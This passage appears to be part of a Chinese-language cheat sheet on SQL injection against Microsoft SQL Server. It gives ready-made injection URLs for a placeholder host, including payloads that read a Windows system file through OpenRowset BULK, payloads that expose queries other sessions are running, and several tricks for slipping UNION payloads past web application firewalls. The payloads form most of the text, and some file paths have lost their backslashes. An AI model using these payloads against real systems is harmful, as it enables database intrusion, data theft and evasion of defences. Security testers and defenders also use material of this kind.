https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:Windowswin.ini’,SINGLE_CLOB)+R(x)),null,null
基于错误的注入方法:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:Windowswin.ini',SINGLE_CLOB)+R(x))--
所需权限:BULK选项需要ADMINISTER BULK OPERATIONS或ADMINISTER DATABASE BULK OPERATIONS权限。
检索当前查询
攻击者可以通过访问sys.dm_exec_requests和sys.dm_exec_sql_text来检索正在执行的当前SQL查询:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
所需权限:如果用户对服务器具有VIEW SERVER STATE权限,那么该用户将能看到SQL SERVER实例上所有正在执行的会话;否则,用户就只能看到当前会话。
绕过WAF的小技巧
非标准空格字符:%C2%85 или %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
利用科学(0e)和十六进制(0x)表示法对UNION进行混淆处理:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
在From和列名之间使用句点而非空格:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
在SELECT和一次性列之间使用N分隔符:
https://vuln.app/getItem?id=0xunion+selectNnull,@@version,null+from+users--